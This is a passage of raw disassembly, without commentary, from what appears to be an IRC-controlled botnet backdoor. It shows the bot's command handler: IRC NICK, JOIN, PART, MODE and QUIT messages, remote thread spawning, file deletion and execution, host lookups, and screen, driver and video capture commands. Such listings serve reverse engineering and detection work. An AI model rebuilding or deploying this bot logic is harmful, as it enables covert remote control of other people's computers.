sub_41E860 push 7Fh push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_22B0] push eax call sub_41E860 mov eax, [ebp+4Ch+var_4] mov esi, [ebp+4Ch+arg_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_222C], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_2228], eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42D0C8 push eax mov [ebp+4Ch+var_23B4], esi call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 11h push eax call sub_40AE85 add esp, 40h mov [ebp+4Ch+var_2230], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_23B4] push eax push offset loc_416A7E push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_2230] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_409239 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42D08C loc_409205: ; CODE XREF: sub_40274D+69EAj lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 0Ch loc_409214: ; CODE XREF: sub_40274D+69FFj ; sub_40274D+6AF4j cmp [ebp+4Ch+var_C], ebx jnz loc_404A79 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push esi jmp loc_404A71 ; --------------------------------------------------------------------------- loc_409231: ; CODE XREF: sub_40274D+6AF2j push 32h call ds:dword_42B014 ; Sleep loc_409239: ; CODE XREF: sub_40274D+6AAAj cmp [ebp+4Ch+var_2224], ebx jz short loc_409231 jmp short loc_409214 ; --------------------------------------------------------------------------- loc_409243: ; CODE XREF: sub_40274D+4775j ; sub_40274D+478Cj push edi lea eax, [ebp+4Ch+var_2D0] push offset aPartS_0 ; "PART %s" push eax call sub_41E6A6 push [ebp+4Ch+var_8] call sub_41E7AD add esp, 10h loc_409260: ; CODE XREF: sub_40274D+6B55j test eax, eax jle loc_404979 push [ebp+4Ch+var_8] call sub_41E7AD cmp eax, 400h pop ecx jge loc_404979 jmp loc_409DC3 ; --------------------------------------------------------------------------- loc_409281: ; CODE XREF: sub_40274D+4747j ; sub_40274D+475Ej push [ebp+esi+4Ch+var_98] lea eax, [ebp+4Ch+var_2D0] push edi push offset aJoinSS_0 ; "JOIN %s %s" push eax call sub_41E6A6 push [ebp+4Ch+var_8] call sub_41E7AD add esp, 14h jmp short loc_409260 ; --------------------------------------------------------------------------- loc_4092A4: ; CODE XREF: sub_40274D+4719j ; sub_40274D+4730j push edi lea eax, [ebp+4Ch+var_2D0] push offset aNickS_0 ; "NICK %s" push eax call sub_41E6A6 mov esi, [ebp+4Ch+var_8] push esi call sub_41E7AD add esp, 10h test eax, eax jle loc_404979 push esi call sub_41E7AD cmp eax, 400h pop ecx jge loc_404979 lea eax, [ebp+4Ch+var_2D0] push eax push offset aS_0 ; "%s\r\n" push esi call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call sub_4011F5 push edi push esi push offset dword_42D054 jmp loc_409FB1 ; --------------------------------------------------------------------------- loc_40930C: ; CODE XREF: sub_40274D+46EBj ; sub_40274D+4702j cmp [ebp+4Ch+var_18], ebx jz loc_404979 push edi push [ebp+4Ch+var_18] call sub_41F090 mov esi, eax cmp esi, ebx pop ecx pop ecx jz short loc_40933B push esi lea eax, [ebp+4Ch+var_2D0] push offset aModeS ; "MODE %s" push eax call sub_41E6A6 add esp, 0Ch loc_40933B: ; CODE XREF: sub_40274D+6BD7j mov edi, [ebp+4Ch+var_8] push edi call sub_41E7AD test eax, eax pop ecx jle loc_404979 push edi call sub_41E7AD cmp eax, 400h pop ecx jge loc_404979 lea eax, [ebp+4Ch+var_2D0] push eax push offset aS_0 ; "%s\r\n" push edi call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call sub_4011F5 push esi push edi push offset dword_42D030 jmp loc_409FB1 ; --------------------------------------------------------------------------- loc_40938F: ; CODE XREF: sub_40274D+46BDj ; sub_40274D+46D4j cmp [ebp+4Ch+var_18], ebx jz loc_404979 push edi push [ebp+4Ch+var_18] call sub_41F090 mov esi, eax cmp esi, ebx pop ecx pop ecx jz loc_404979 mov edi, [ebp+4Ch+var_8] push edi call sub_41E7AD test eax, eax pop ecx jle loc_404979 push edi call sub_41E7AD cmp eax, 400h pop ecx jge loc_404979 push esi push offset aS_0 ; "%s\r\n" push edi call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call sub_4011F5 push esi push edi push offset dword_42D014 jmp loc_409FB1 ; --------------------------------------------------------------------------- loc_4093FB: ; CODE XREF: sub_40274D+468Fj ; sub_40274D+46A6j cmp [ebp+4Ch+var_18], ebx jz loc_404979 push [ebp+4Ch+var_8] push [ebp+4Ch+var_18] call sub_41F090 mov esi, eax cmp esi, ebx pop ecx pop ecx jz loc_404979 push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push esi push offset unk_42CFEC jmp loc_409FD6 ; --------------------------------------------------------------------------- loc_409434: ; CODE XREF: sub_40274D+4661j ; sub_40274D+4678j push [ebp+4Ch+var_A0] push offset dword_42FBF4 call sub_41E990 test eax, eax pop ecx pop ecx jz loc_402B92 push edi push offset aPartS_1 ; "PART %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 3E8h add esp, 10h push eax call ds:dword_42B014 ; Sleep push [ebp+esi+4Ch+var_98] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push offset dword_42CFCC call sub_417D70 jmp loc_409FDB ; --------------------------------------------------------------------------- loc_409492: ; CODE XREF: sub_40274D+4633j ; sub_40274D+464Aj cmp [ebp+4Ch+var_18], ebx jz loc_404979 push [ebp+4Ch+var_8] call sub_41E1C0 push [ebp+4Ch+var_10] mov esi, eax call sub_41E1C0 add eax, [ebp+4Ch+var_18] push edi lea eax, [eax+esi+2] push eax call sub_41F090 mov esi, eax add esp, 10h cmp esi, ebx jz loc_404979 push esi lea eax, [ebp+4Ch+var_2D0] push offset dword_42D704 push eax call sub_41E6A6 push ebx push ebx lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_8] push [ebp+4Ch+arg_4] call sub_40123B push esi push [ebp+4Ch+var_8] push offset unk_42CFB0 call sub_417DE4 add esp, 2Ch jmp loc_404979 ; --------------------------------------------------------------------------- loc_409504: ; CODE XREF: sub_40274D+4605j ; sub_40274D+461Cj cmp [ebp+4Ch+var_18], ebx jz loc_404979 push [ebp+4Ch+var_8] call sub_41E1C0 push [ebp+4Ch+var_10] mov esi, eax call sub_41E1C0 add eax, [ebp+4Ch+var_18] push edi lea eax, [eax+esi+2] push eax call sub_41F090 mov esi, eax add esp, 10h cmp esi, ebx jz loc_404979 push ebx push ebx push esi push [ebp+4Ch+var_8] push [ebp+4Ch+arg_4] call sub_40123B push esi push [ebp+4Ch+var_8] push offset unk_42CF90 call sub_417DE4 add esp, 20h jmp loc_404979 ; --------------------------------------------------------------------------- loc_40955E: ; CODE XREF: sub_40274D+45D7j ; sub_40274D+45EEj cmp [ebp+4Ch+var_18], ebx jz loc_402B92 push edi push [ebp+4Ch+var_18] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz loc_402B92 push eax push [ebp+4Ch+var_8] call sub_417C78 push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset unk_42CF70 push eax call sub_41E6A6 add esp, 14h jmp loc_404A5B ; --------------------------------------------------------------------------- loc_40959F: ; CODE XREF: sub_40274D+45A9j ; sub_40274D+45C0j push edi push [ebp+4Ch+var_8] push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_41B065 loc_4095B1: ; CODE XREF: sub_40274D+2435j add esp, 14h jmp loc_402B92 ; --------------------------------------------------------------------------- loc_4095B9: ; CODE XREF: sub_40274D+456Ej ; sub_40274D+4583j push [ebp+4Ch+var_8] push [ebp+4Ch+arg_1C] call sub_41F090 test eax, eax pop ecx pop ecx jz loc_404979 mov esi, [ebp+esi+4Ch+var_9C] cmp esi, ebx jz short loc_409648 push esi push [ebp+4Ch+var_18] call sub_41F090 mov esi, eax cmp esi, ebx pop ecx pop ecx lea eax, [ebp+4Ch+var_2D0] jz short loc_409636 push esi push [ebp+4Ch+var_9C] push [ebp+4Ch+var_A0] push [ebp+4Ch+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_41E6A6 push 1FFh lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+arg_0] call sub_41E860 push esi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset unk_42CF48 push eax call sub_41E6A6 add esp, 34h inc [ebp+4Ch+arg_24] jmp loc_4099EE ; --------------------------------------------------------------------------- loc_409636: ; CODE XREF: sub_40274D+6E9Ej push offset unk_42CF18 push eax call sub_41E6A6 pop ecx pop ecx jmp loc_4099EE ; --------------------------------------------------------------------------- loc_409648: ; CODE XREF: sub_40274D+6E87j push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push [ebp+4Ch+arg_4] push [ebp+4Ch+arg_1C] push eax call sub_41D9E5 add esp, 0Ch push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset dword_42CEFC push 200h push eax call sub_41E6FE add esp, 24h jmp loc_4099EE ; --------------------------------------------------------------------------- loc_40968E: ; CODE XREF: sub_40274D+4544j ; sub_40274D+4559j push offset aScreen ; "screen" push [ebp+4Ch+var_8] call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4096E6 mov edi, [ebp+esi+4Ch+var_9C] cmp edi, ebx jz short loc_4096D3 push edi call sub_417F75 cmp eax, 1 pop ecx lea eax, [ebp+4Ch+var_2D0] jnz short loc_4096CC push edi push offset unk_42CEC8 push eax call sub_41E6A6 add esp, 0Ch jmp short loc_4096E6 ; --------------------------------------------------------------------------- loc_4096CC: ; CODE XREF: sub_40274D+6F6Cj push offset unk_42CE98 jmp short loc_4096DE ; --------------------------------------------------------------------------- loc_4096D3: ; CODE XREF: sub_40274D+6F5Aj push offset unk_42CE5C lea eax, [ebp+4Ch+var_2D0] loc_4096DE: ; CODE XREF: sub_40274D+6F84j push eax call sub_41E6A6 pop ecx pop ecx loc_4096E6: ; CODE XREF: sub_40274D+6F52j ; sub_40274D+6F7Dj push offset aDrivers ; "drivers" push [ebp+4Ch+var_8] call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_409770 xor edi, edi loc_4096FB: ; CODE XREF: sub_40274D+700Ej push 1FFh lea eax, [ebp+4Ch+var_5400] push eax push 0FFh lea eax, [ebp+4Ch+var_4EF8] push eax push edi call ds:dword_44419C test eax, eax jz short loc_409757 lea eax, [ebp+4Ch+var_5400] push eax lea eax, [ebp+4Ch+var_4EF8] push eax push edi lea eax, [ebp+4Ch+var_5D90] push offset unk_42CE2C push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_5D90] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 28h loc_409757: ; CODE XREF: sub_40274D+6FCFj inc edi cmp edi, 0Ah jl short loc_4096FB lea eax, [ebp+4Ch+var_2D0] push offset unk_42CE04 push eax call sub_41E6A6 pop ecx pop ecx loc_409770: ; CODE XREF: sub_40274D+6FAAj push offset aFrame ; "frame" push [ebp+4Ch+var_8] call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4097FE cmp [ebp+esi+4Ch+var_9C], ebx jz short loc_4097EB cmp [ebp+esi+4Ch+var_98], ebx jz short loc_4097EB mov edi, [ebp+esi+4Ch+var_94] cmp edi, ebx jz short loc_4097EB mov eax, [ebp+esi+4Ch+var_90] cmp eax, ebx jz short loc_4097EB push eax call sub_41E7AD pop ecx push eax push edi call sub_41E7AD pop ecx push eax push [ebp+esi+4Ch+var_98] call sub_41E7AD pop ecx push eax push [ebp+esi+4Ch+var_9C] call sub_4181B2 add esp, 10h test eax, eax lea eax, [ebp+4Ch+var_2D0] jnz short loc_4097E4 push [ebp+esi+4Ch+var_9C] push offset unk_42CDD0 push eax call sub_41E6A6 add esp, 0Ch jmp short loc_4097FE ; --------------------------------------------------------------------------- loc_4097E4: ; CODE XREF: sub_40274D+7081j push offset unk_42CD9C jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097EB: ; CODE XREF: sub_40274D+703Aj ; sub_40274D+7040j ... push offset unk_42CD64 lea eax, [ebp+4Ch+var_2D0] loc_4097F6: ; CODE XREF: sub_40274D+709Cj push eax call sub_41E6A6 pop ecx pop ecx loc_4097FE: ; CODE XREF: sub_40274D+7034j ; sub_40274D+7095j push offset aVideo ; "video" push [ebp+4Ch+var_8] call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_4099D0 mov eax, [ebp+esi+4Ch+var_9C] cmp eax, ebx mov [ebp+4Ch+var_20], eax jz short loc_40989F mov eax, [ebp+esi+4Ch+var_98] cmp eax, ebx mov [ebp+4Ch+arg_0], eax jz short loc_40989F mov eax, [ebp+esi+4Ch+var_94] cmp eax, ebx mov [ebp+4Ch+var_14], eax jz short loc_40989F mov edi, [ebp+esi+4Ch+var_90] cmp edi, ebx jz short loc_40989F mov esi, [ebp+esi+4Ch+var_8C] cmp esi, ebx jz short loc_40989F push esi call sub_41E7AD pop ecx push eax push edi call sub_41E7AD pop ecx push eax push [ebp+4Ch+var_14] call sub_41E7AD pop ecx push eax push [ebp+4Ch+arg_0] call sub_41E7AD pop ecx push eax push [ebp+4Ch+var_20] call sub_4183AB add esp, 14h test eax, eax lea eax, [ebp+4Ch+var_2D0] jnz short loc_409895 push [ebp+4Ch+var_20] push offset unk_42CD30 loc_409887: ; CODE XREF: sub_40274D+6931j push eax call sub_41E6A6 add esp, 0Ch jmp loc_4099D0 ; --------------------------------------------------------------------------- loc_409895: ; CODE XREF: sub_40274D+7130j push offset unk_42CCF0 jmp loc_4099C8 ; --------------------------------------------------------------------------- loc_40989F: ; CODE XREF: sub_40274D+70D1j ; sub_40274D+70DCj ... push offset unk_42CCB0 lea eax, [ebp+4Ch+var_2D0] jmp loc_4099C8 ; --------------------------------------------------------------------------- loc_4098AF: ; CODE XREF: sub_40274D+3D58j ; sub_40274D+3D6Dj push offset aR ; "r" push [ebp+4Ch+var_8] call sub_41E54E mov edi, eax cmp edi, ebx pop ecx pop ecx jz short loc_40992A push edi mov esi, 200h lea eax, [ebp+4Ch+var_2D0] push esi push eax call sub_41EA5D add esp, 0Ch jmp short loc_409904 ; --------------------------------------------------------------------------- loc_4098DC: ; CODE XREF: sub_40274D+71B9j push 1 push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B push edi lea eax, [ebp+4Ch+var_2D0] push esi push eax call sub_41EA5D add esp, 20h loc_409904: ; CODE XREF: sub_40274D+718Dj test eax, eax jnz short loc_4098DC push edi call sub_41E24B push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset unk_42CC8C push eax call sub_41E6A6 add esp, 10h jmp loc_406C6B ; --------------------------------------------------------------------------- loc_40992A: ; CODE XREF: sub_40274D+7175j push [ebp+4Ch+var_8] push offset unk_42CC68 jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_409937: ; CODE XREF: sub_40274D+3D2Ej ; sub_40274D+3D43j cmp [ebp+4Ch+var_18], ebx jz loc_404979 push [ebp+4Ch+var_8] push [ebp+4Ch+var_18] call sub_41F090 mov esi, eax cmp esi, ebx pop ecx pop ecx jz loc_404979 push offset asc_42CC64 ; "\n" push esi call sub_41EED0 push esi call sub_41C7BD add esp, 0Ch test eax, eax lea eax, [ebp+4Ch+var_2D0] jnz short loc_40997C push offset unk_42CC38 jmp short loc_4099C8 ; --------------------------------------------------------------------------- loc_40997C: ; CODE XREF: sub_40274D+7226j push esi push offset dword_42CC20 push eax call sub_41E6A6 add esp, 0Ch jmp short loc_4099EE ; --------------------------------------------------------------------------- loc_40998D: ; CODE XREF: sub_40274D+3D04j ; sub_40274D+3D19j cmp [ebp+4Ch+var_18], ebx jz loc_404979 push [ebp+4Ch+var_8] push [ebp+4Ch+var_18] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz loc_404979 push eax call sub_41AD95 test eax, eax pop ecx lea eax, [ebp+4Ch+var_2D0] jnz short loc_4099C3 push offset unk_42CC00 jmp short loc_4099C8 ; --------------------------------------------------------------------------- loc_4099C3: ; CODE XREF: sub_40274D+726Dj push offset dword_42CBE4 loc_4099C8: ; CODE XREF: sub_40274D+714Dj ; sub_40274D+715Dj ... push eax call sub_41E6A6 pop ecx pop ecx loc_4099D0: ; CODE XREF: sub_40274D+70C2j ; sub_40274D+7143j cmp [ebp+4Ch+var_C], ebx jnz short loc_4099EE push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_4099EE: ; CODE XREF: sub_40274D+6EE4j ; sub_40274D+6EF6j ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 pop ecx jmp loc_404979 ; --------------------------------------------------------------------------- loc_409A00: ; CODE XREF: sub_40274D+3CDAj ; sub_40274D+3CEFj push 7Fh push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_221C] push eax call sub_41E860 mov esi, [ebp+esi+4Ch+var_9C] add esp, 0Ch cmp esi, ebx jz short loc_409A2E push 7Fh lea eax, [ebp+4Ch+var_219C] push esi push eax call sub_41E860 add esp, 0Ch loc_409A2E: ; CODE XREF: sub_40274D+72CDj push 7Fh push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_211C] push eax call sub_41E860 mov eax, [ebp+4Ch+arg_4] push [ebp+4Ch+var_8] mov [ebp+4Ch+var_2220], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_2098], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_2094], eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42CBCC push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 1Ch push eax call sub_40AE85 add esp, 24h mov [ebp+4Ch+var_209C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_2220] push eax push offset byte_41DAA1 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_209C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_409ADD call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42CB8C loc_409AC1: ; CODE XREF: sub_40274D+278Ej lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 0Ch jmp loc_406C6B ; --------------------------------------------------------------------------- loc_409AD5: ; CODE XREF: sub_40274D+7396j push 32h call ds:dword_42B014 ; Sleep loc_409ADD: ; CODE XREF: sub_40274D+7366j cmp [ebp+4Ch+var_2090], ebx jz short loc_409AD5 jmp loc_406C6B ; --------------------------------------------------------------------------- loc_409AEA: ; CODE XREF: sub_40274D+3CB0j ; sub_40274D+3CC5j push ebx push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] push [ebp+4Ch+var_8] call sub_412135 push [ebp+4Ch+var_8] push offset dword_42CB74 jmp loc_409FB1 ; --------------------------------------------------------------------------- loc_409B06: ; CODE XREF: sub_40274D+3C86j ; sub_40274D+3C9Bj push 14h lea eax, [ebp+4Ch+var_1D50] push ebx push eax call sub_41E5F0 push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_1D3C] push offset aS ; "%s" push eax call sub_41E6A6 mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_1D58], eax lea eax, [ebp+4Ch+var_D0] push eax lea eax, [ebp+4Ch+var_1C38] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_1BB0], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_1BAC], eax lea eax, [ebp+4Ch+var_1C38] push eax lea eax, [ebp+4Ch+var_1D3C] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42CB50 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 1Ah push eax call sub_40AE85 add esp, 40h mov [ebp+4Ch+var_1BB4], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_1D58] push eax push offset word_418956 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1BB4] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jz loc_402E72 jmp short loc_409BD0 ; --------------------------------------------------------------------------- loc_409BC8: ; CODE XREF: sub_40274D+7489j push 32h call ds:dword_42B014 ; Sleep loc_409BD0: ; CODE XREF: sub_40274D+7479j cmp [ebp+4Ch+var_1BA8], ebx jz short loc_409BC8 jmp loc_408D10 ; --------------------------------------------------------------------------- loc_409BDD: ; CODE XREF: sub_40274D+3C5Cj ; sub_40274D+3C71j push [ebp+4Ch+var_8] call ds:dword_42B02C ; DeleteFileA test eax, eax jz short loc_409BF4 push [ebp+4Ch+var_8] push offset dword_42CB34 jmp short loc_409BFF ; --------------------------------------------------------------------------- loc_409BF4: ; CODE XREF: sub_40274D+749Bj push offset dword_42D340 call sub_41ACD0 push eax loc_409BFF: ; CODE XREF: sub_40274D+74A5j lea eax, [ebp+4Ch+var_2D0] push 200h push eax call sub_41E6FE loc_409C10: ; CODE XREF: sub_40274D+7595j add esp, 10h jmp loc_406C4D ; --------------------------------------------------------------------------- loc_409C18: ; CODE XREF: sub_40274D+3C32j ; sub_40274D+3C47j push [ebp+4Ch+var_8] call sub_41E7AD push eax call sub_41C736 xor esi, esi pop ecx inc esi pop ecx push [ebp+4Ch+var_8] cmp eax, esi lea eax, [ebp+4Ch+var_2D0] jnz short loc_409C3F push offset unk_42CB10 jmp short loc_409C44 ; --------------------------------------------------------------------------- loc_409C3F: ; CODE XREF: sub_40274D+74E9j push offset unk_42CAE0 loc_409C44: ; CODE XREF: sub_40274D+74F0j push eax call sub_41E6A6 add esp, 0Ch cmp [ebp+4Ch+var_C], ebx jnz loc_406C6E push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h jmp loc_406C6E ; --------------------------------------------------------------------------- loc_409C74: ; CODE XREF: sub_40274D+3C08j ; sub_40274D+3C1Dj push ebx push ebx push [ebp+4Ch+var_8] push [ebp+4Ch+var_4] push ebx push [ebp+4Ch+arg_4] call sub_41C444 add esp, 18h cmp eax, 1 push [ebp+4Ch+var_8] jnz short loc_409C9A push offset unk_42CAC0 jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_409C9A: ; CODE XREF: sub_40274D+7541j push offset unk_42CA90 jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_409CA4: ; CODE XREF: sub_40274D+3BDEj ; sub_40274D+3BF3j mov esi, [ebp+4Ch+var_8] push esi call ds:dword_44417C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+4Ch+var_2DC], eax jz short loc_409CE7 push 2 push 4 lea eax, [ebp+4Ch+var_2DC] push eax call ds:dword_4441FC ; gethostbyaddr cmp eax, ebx jz short loc_409D02 push dword ptr [eax] loc_409CD0: ; CODE XREF: sub_40274D+75B3j push esi lea eax, [ebp+4Ch+var_2D0] push offset unk_42CA70 push eax call sub_41E6A6 jmp loc_409C10 ; --------------------------------------------------------------------------- loc_409CE7: ; CODE XREF: sub_40274D+756Aj push esi call ds:dword_444168 ; gethostbyname cmp eax, ebx jz short loc_409D02 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_444188 ; inet_ntoa push eax jmp short loc_409CD0 ; --------------------------------------------------------------------------- loc_409D02: ; CODE XREF: sub_40274D+757Fj ; sub_40274D+75A3j push offset unk_42CA48 jmp loc_406C3F ; --------------------------------------------------------------------------- loc_409D0C: ; CODE XREF: sub_40274D+3BB4j ; sub_40274D+3BC9j push 7Fh push [ebp+4Ch+var_8] push [ebp+4Ch+arg_14] call sub_41E860 push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset unk_42CA20 push eax call sub_41E6A6 add esp, 18h jmp loc_40698D ; --------------------------------------------------------------------------- loc_409D35: ; CODE XREF: sub_40274D+3B8Aj ; sub_40274D+3B9Fj push 5 push ebx push ebx push [ebp+4Ch+var_8] push offset aOpen ; "open" push ebx call ds:dword_444214 test eax, eax push [ebp+4Ch+var_8] jz short loc_409D59 push offset unk_42CA00 jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_409D59: ; CODE XREF: sub_40274D+7600j push offset unk_42C9DC jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_409D63: ; CODE XREF: sub_40274D+3B60j ; sub_40274D+3B75j mov eax, [ebp+4Ch+var_8] mov cl, [eax] mov ds:byte_43C08C, cl movsx eax, byte ptr [eax] push eax push offset unk_42C9B4 jmp loc_40697E ; --------------------------------------------------------------------------- loc_409D7C: ; CODE XREF: sub_40274D+3B36j ; sub_40274D+3B4Bj push [ebp+4Ch+var_8] call sub_41E7AD test eax, eax pop ecx jle loc_404979 push [ebp+4Ch+var_8] call sub_41E7AD cmp eax, 400h pop ecx jge loc_404979 push ebx push ebx lea eax, [ebp+4Ch+var_B4] push 2 push eax call sub_40AB83 push eax lea eax, [ebp+4Ch+var_2D0] push offset aNickS_0 ; "NICK %s" push eax call sub_41E6A6 add esp, 1Ch loc_409DC3: ; CODE XREF: sub_40274D+6B2Fj lea eax, [ebp+4Ch+var_2D0] push eax push offset aS_0 ; "%s\r\n" push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call sub_4011F5 loc_409DE9: ; CODE XREF: sub_40274D+28AEj ; sub_40274D+28C1j ... add esp, 0Ch jmp loc_404979 ; --------------------------------------------------------------------------- loc_409DF1: ; CODE XREF: sub_40274D+3B0Cj ; sub_40274D+3B21j mov esi, [ebp+4Ch+var_8] push esi call sub_41E7AD test eax, eax pop ecx jle loc_402B92 push esi call sub_41E7AD cmp eax, 400h pop ecx jge loc_402B92 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call sub_4011F5 pop ecx pop ecx push 1F4h call ds:dword_42B014 ; Sleep push esi call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call ds:dword_444218 ; closesocket push [ebp+4Ch+var_1C] push esi call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444FC[eax] call ds:dword_42B028 ; TerminateThread push esi call sub_41E7AD imul eax, 234h push esi mov ds:dword_4444FC[eax], ebx call sub_41E7AD imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_4442E8[eax], bl jmp loc_402B92 ; --------------------------------------------------------------------------- loc_409E9F: ; CODE XREF: sub_40274D+3AE2j ; sub_40274D+3AF7j push [ebp+4Ch+var_8] push offset aAll ; "all" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_409ED0 call sub_40AFF6 cmp eax, ebx jle short loc_409EC6 push eax push offset unk_42C988 jmp loc_407CB2 ; --------------------------------------------------------------------------- loc_409EC6: ; CODE XREF: sub_40274D+776Cj push offset unk_42C960 jmp loc_404A4D ; --------------------------------------------------------------------------- loc_409ED0: ; CODE XREF: sub_40274D+7763j mov esi, [ebp+4Ch+var_20] jmp short loc_409F3A ; --------------------------------------------------------------------------- loc_409ED5: ; CODE XREF: sub_40274D+77F1j mov edi, [ebp+esi*4+4Ch+var_A4] cmp edi, ebx jz loc_402B92 push edi call sub_41E7AD push eax call sub_40AF6E pop ecx pop ecx test eax, eax push edi lea eax, [ebp+4Ch+var_2D0] jz short loc_409F01 push offset unk_42C93C jmp short loc_409F06 ; --------------------------------------------------------------------------- loc_409F01: ; CODE XREF: sub_40274D+77ABj push offset unk_42C910 loc_409F06: ; CODE XREF: sub_40274D+77B2j push eax call sub_41E6A6 add esp, 0Ch cmp [ebp+4Ch+var_C], ebx jnz short loc_409F2D push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_409F2D: ; CODE XREF: sub_40274D+77C5j lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 pop ecx loc_409F3A: ; CODE XREF: sub_40274D+7786j inc esi cmp esi, 20h jb short loc_409ED5 jmp loc_402B92 ; --------------------------------------------------------------------------- loc_409F45: ; CODE XREF: sub_40274D+3AB8j ; sub_40274D+3ACDj cmp [ebp+4Ch+var_18], ebx jz loc_404979 push [ebp+4Ch+var_8] push [ebp+4Ch+var_18] call sub_41F090 mov esi, eax cmp esi, ebx pop ecx pop ecx jz loc_404979 push esi push offset aS_0 ; "%s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push esi push offset dword_42C8F4 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409F7B: ; CODE XREF: sub_40274D+3A8Ej ; sub_40274D+3AA3j push [ebp+4Ch+var_8] push offset aPartS_1 ; "PART %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push [ebp+4Ch+var_8] push offset unk_42C8D0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409F95: ; CODE XREF: 